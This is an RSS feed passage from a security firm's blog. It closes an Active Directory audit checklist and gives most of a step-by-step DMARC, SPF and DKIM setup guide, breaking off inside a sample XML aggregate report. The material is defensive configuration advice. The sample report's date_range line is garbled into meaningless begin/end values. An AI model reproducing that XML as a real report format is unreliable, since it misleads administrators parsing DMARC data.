&lt;p&gt;GPO settings: Security Options → Network Security: Restrict NTLM → Incoming NTLM traffic: Deny all accounts; NTLM authentication in this domain: Deny all.&lt;/p&gt;
&lt;h2 id=&quot;ad-audit-checklist&quot;&gt;AD Audit Checklist&lt;/h2&gt;
&lt;h3 id=&quot;critical---fix-immediately&quot;&gt;Critical - Fix immediately&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Unconstrained delegation on non-DCs&lt;/li&gt;
&lt;li&gt;Kerberoastable Domain Admins&lt;/li&gt;
&lt;li&gt;AS-REP roasting on privileged accounts&lt;/li&gt;
&lt;li&gt;DCSync permissions outside of DA/EA&lt;/li&gt;
&lt;li&gt;Direct pass-the-hash paths to Domain Admin (BloodHound)&lt;/li&gt;
&lt;li&gt;WDigest enabled (plaintext passwords)&lt;/li&gt;
&lt;li&gt;Enterprise/Schema Admins not empty&lt;/li&gt;
&lt;li&gt;Default Domain Admin (Administrator) used daily&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;high---within-30-days&quot;&gt;High - within 30 days&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Domain Admins with more than 5 members&lt;/li&gt;
&lt;li&gt;DA accounts used as regular user accounts&lt;/li&gt;
&lt;li&gt;Protected Users Group empty (DA/EA not included)&lt;/li&gt;
&lt;li&gt;LAPS not implemented (local admin passwords not managed)&lt;/li&gt;
&lt;li&gt;NTLM not restricted&lt;/li&gt;
&lt;li&gt;Password policy with a minimum length of less than 12 characters&lt;/li&gt;
&lt;li&gt;Credential Guard not enabled&lt;/li&gt;
&lt;li&gt;Inactive accounts: more than 90 days without login (but active)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;moderate---within-90-days&quot;&gt;Moderate - within 90 days&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Service accounts without gMSA (manually managed passwords)&lt;/li&gt;
&lt;li&gt;Inactive computer objects (&amp;gt; 90 days)&lt;/li&gt;
&lt;li&gt;GPO delegation not documented&lt;/li&gt;
&lt;li&gt;Domain functional level &amp;lt; 2016&lt;/li&gt;
&lt;li&gt;LDAP signing not enforced&lt;/li&gt;
&lt;li&gt;LDAP channel binding not configured&lt;/li&gt;
&lt;li&gt;Tiered administration not implemented&lt;/li&gt;
&lt;li&gt;Privileged Access Workstations (PAWs) missing&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;hardening-recommendations&quot;&gt;Hardening Recommendations&lt;/h3&gt;
&lt;p&gt;For structured security, the Tiered Admin Model is recommended, with Tier 0 (Domain Admins), Tier 1 (Server Admins), and Tier 2 (Workstation Admins). Microsoft ESAE (Enhanced Security Admin Environment) provides a proven framework for this. Separate admin accounts for privileged tasks and JIT access for domain admins via Privileged Identity Management (PIM) round out the concept.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Active Directory security is not a one-time project&lt;/strong&gt; - configurations change, new service accounts are created, and delegations are forgotten. AWARE7 conducts regular AD security audits and helps systematically reduce attack surfaces - from BloodHound analysis to tiered admin implementation.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://a7.de/en/contact/&quot;&gt;Request an AD security audit&lt;/a&gt; | &lt;a href=&quot;https://a7.de/en/services/penetration-testing/&quot;&gt;Network penetration test&lt;/a&gt;&lt;/p&gt;</content:encoded><category>Network &amp; Endpoint Security</category><author>kontakt@a7.de (Vincent Heinen)</author></item><item><title>DMARC Implementation: Step-by-Step from p=none to p=reject</title><link>https://a7.de/en/blog/dmarc-implementation-step-by-step-from-pnone-to-preject/</link><guid isPermaLink="true">https://a7.de/en/blog/dmarc-implementation-step-by-step-from-pnone-to-preject/</guid><description>DMARC (Domain-based Message Authentication, Reporting, and Conformance) protects your domain from email spoofing and phishing.</description><pubDate>Wed, 04 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Email spoofing - sending emails with a forged sender address - is one of the most common techniques used in phishing attacks and CEO fraud. DMARC (Domain-based Message Authentication, Reporting, and Conformance) closes this gap by telling email recipients how to handle messages that fail authentication. Implementation requires care - a misconfigured DMARC record with &lt;code&gt;p=reject&lt;/code&gt; can block legitimate emails.&lt;/p&gt;
&lt;h2 id=&quot;why-dmarc-is-essential&quot;&gt;Why DMARC Is Essential&lt;/h2&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Problem without DMARC:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Attacker sends:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  From: ceo@unternehmen.de&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → No SPF, no DKIM → receiving servers accept it anyway!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Employee sees legitimate sender → clicks on link → attack!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  2024 statistics:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → 3.4 billion phishing emails daily&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → 94% of all malware attacks start with an email&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → CEO fraud losses: &amp;gt;$26 billion worldwide (since 2013)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;DMARC protection:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  With DMARC p=reject:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Email without SPF/DKIM alignment → rejected immediately!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Attackers can no longer misuse your domain (technically!)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → No DMARC-compliant spoofing possible&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;DMARC requirements:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  □ SPF record for all sending domains&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  □ DKIM signing for all outgoing emails&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  □ DMARC works ONLY if SPF or DKIM is configured!&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;step-1-configure-spf-correctly&quot;&gt;Step 1: Configure SPF correctly&lt;/h2&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;SPF (Sender Policy Framework) - Requirement #1:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;SPF record created in DNS (TXT record for the domain):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  v=spf1 [mechanisms] [qualifier]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Qualifier:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  + (Pass, Default): IP is authorized to send&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - (Fail):          IP is NOT authorized → reject&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  ~ (SoftFail):      Not authorized, but only flag (for migration)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  ? (Neutral):       No statement&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Mechanisms:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  include:mxserver.example.com   → Include the other domain’s SPF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  ip4:203.0.113.0/24             → Allow IPv4 range&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  ip6:2001:db8::/32              → Allow IPv6 range&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  mx                             → Allow the domain’s MX server&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  a                              → Allow the domain’s A record&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  all                            → Everything (as the last element!)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Typical SPF records:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  # Only Google Workspace + own IP:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  v=spf1 include:_spf.google.com ip4:203.0.113.1 -all&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  # Microsoft 365 + Mailchimp + own IP:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  v=spf1 include:spf.protection.outlook.com include:servers.mcsv.net ip4:203.0.113.1 -all&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  # Multiple email services:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  v=spf1 include:_spf.google.com include:sendgrid.net include:mailgun.org ip4:203.0.113.1 -all&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;SPF pitfalls:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Maximum 10 DNS lookups! (include: counts; every subdomain resolution counts)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → More than 10 → SPF &quot;PermError&quot; → DMARC fails!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Solution: SPF flattening services (convert includes to IPs)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  # Test SPF:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  dig TXT example.com | grep spf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  # Tool: MXToolbox SPF Check, DMARC Analyzer&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;step-2-configure-dkim&quot;&gt;Step 2: Configure DKIM&lt;/h2&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;DKIM (DomainKeys Identified Mail) - Prerequisite #2:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;How DKIM works:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Outgoing email: Header is signed with a private key&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Recipient verifies: Signature with public key (from DNS)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;DNS record (TXT record for Selector._domainkey.example.com):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  mail._domainkey.example.com. IN TXT &quot;v=DKIM1; k=rsa; p=MIIBIjANBgkq...&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  # &quot;mail&quot; = Selector (may vary, e.g., &quot;google&quot;, &quot;mg&quot; for Mailgun)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;DKIM for various email providers:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Google Workspace:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Admin Console → Apps → Gmail → Authentication&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Enable DKIM → Copy DNS record from the console&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Selector: &quot;google&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Microsoft 365:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Security.microsoft.com → Email Authentication → DKIM&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Enable DKIM for domain → Create CNAME records&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Selector: &quot;selector1&quot;, &quot;selector2&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Postfix (own mail server):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  # Install OpenDKIM:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  apt install opendkim opendkim-tools&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  # Generate key pair:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  mkdir -p /etc/opendkim/keys/example.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  opendkim-genkey -s mail -d example.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  # Enter public key in DNS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  cat /etc/opendkim/keys/example.com/mail.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  # /etc/opendkim.conf:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Domain                  example.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  KeyFile                 /etc/opendkim/keys/example.com/mail.private&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Selector                mail&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;DKIM Key Rotation:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → 1024-bit RSA: obsolete, switch to 2048 bits!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Annual rotation recommended&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Keep multiple selectors active simultaneously (during rotation)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Activate &quot;selector2&quot; → deactivate the old one → deactivate &quot;selector1&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Verify DKIM:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  dig TXT mail._domainkey.example.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  # Tool: MXToolbox DKIM Lookup&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;step-3-create-dmarc-record&quot;&gt;Step 3: Create DMARC record&lt;/h2&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;DMARC record - DNS TXT record for _dmarc.example.com:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Minimal DMARC record (monitoring mode):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  v=DMARC1; p=none; rua=mailto:dmarc-reports@example.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Full DMARC record:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  v=DMARC1;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  p=quarantine;           # Policy: none / quarantine / reject&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  pct=25;                 # Percentage of emails to which the policy applies&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  sp=none;                # Subdomain policy (default: p-value)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  adkim=r;                # DKIM alignment: r=relaxed, s=strict&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  aspf=r;                 # SPF alignment: r=relaxed, s=strict&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  rua=mailto:dmarc@example.com;  # Aggregate reports&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  ruf=mailto:forensic@example.com;  # Forensic reports (optional)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  fo=1;                   # Forensic: 0=both, 1=one fails, d/s=DKIM/SPF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Alignment explained:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  relaxed (r): Org domain must match (mail.example.com → example.com ✓)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  strict (s):  Exact domain must match (mail.example.com → example.com ✗)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;DMARC policy values:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  p=none:       No action (reporting only!) → Initial state&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  p=quarantine: DMARC failure → Spam folder or soft reject&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  p=reject:     DMARC failure → Reject immediately → Strongest protection level!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Set DNS record:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  # DNS entry (with your DNS provider):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Name:  _dmarc.example.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Type:   TXT&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Value:  v=DMARC1; p=none; rua=mailto:dmarc-reports@example.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  # Verify:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  dig TXT _dmarc.example.com&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;step-4-analyze-dmarc-reports&quot;&gt;Step 4: Analyze DMARC reports&lt;/h2&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Understanding aggregate reports (rua):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Reports are sent daily by receiving mail servers:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → XML format (from Google, Microsoft, Yahoo, etc.)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  → Contains: IP address, number of emails, SPF/DKIM result, DMARC policy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;XML structure (simplified):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &amp;lt;feedback&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &amp;lt;report_metadata&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &amp;lt;org_name&amp;gt;Google Inc.&amp;lt;/org_name&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &amp;lt;date_range&amp;gt;&amp;lt;begin&amp;gt;17092512001709&amp;lt;/begin&amp;gt;&amp;lt;end&amp;gt;33&amp;lt;/end&amp;gt;&amp;lt;begin&amp;gt;7&amp;lt;/begin&amp;gt;&amp;lt;end&amp;gt;6&amp;lt;/end&amp;gt;&amp;lt;begin&amp;gt;00&amp;lt;/begin&amp;gt;&amp;lt;/date_range&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &amp;lt;/report_metadata&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &amp;lt;policy_published&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &amp;lt;domain&amp;gt;example.com&amp;lt;/domain&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &amp;lt;p&amp;gt;none&amp;lt;/p&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &amp;lt;/policy_published&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &amp;lt;record&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &amp;lt;row&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &amp;lt;source_ip&amp;gt;209.85.220.41&amp;lt;/source_ip&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &amp;lt;!-- Google IP --&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &amp;lt;count&amp;gt;450&amp;lt;/count&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &amp;lt;policy_evaluated&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &amp;lt;disposition&amp;gt;none&amp;lt;/disposition&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &amp;lt;dkim&amp;gt;pass&amp;lt;/dkim&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            &amp;lt;!-- DKIM-Ergebnis --&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &amp;lt;spf&amp;gt;pass&amp;lt;/spf&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;              &amp;lt;!-- SPF-Ergebnis --&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &amp;lt;/policy_evaluated&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &amp;lt;/row&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &amp;lt;row&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &amp;lt;source_ip&amp;gt;198.51.100.42&amp;lt;/source_ip&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &amp;lt;!-- Unbekannte IP! --&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &amp;lt;count&amp;gt;3&amp;lt;/count&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &amp;lt;policy_evaluated&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &amp;lt;disposition&amp;gt;none&amp;lt;/disposition&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &lt;/span&gt;&lt;/span&gt;
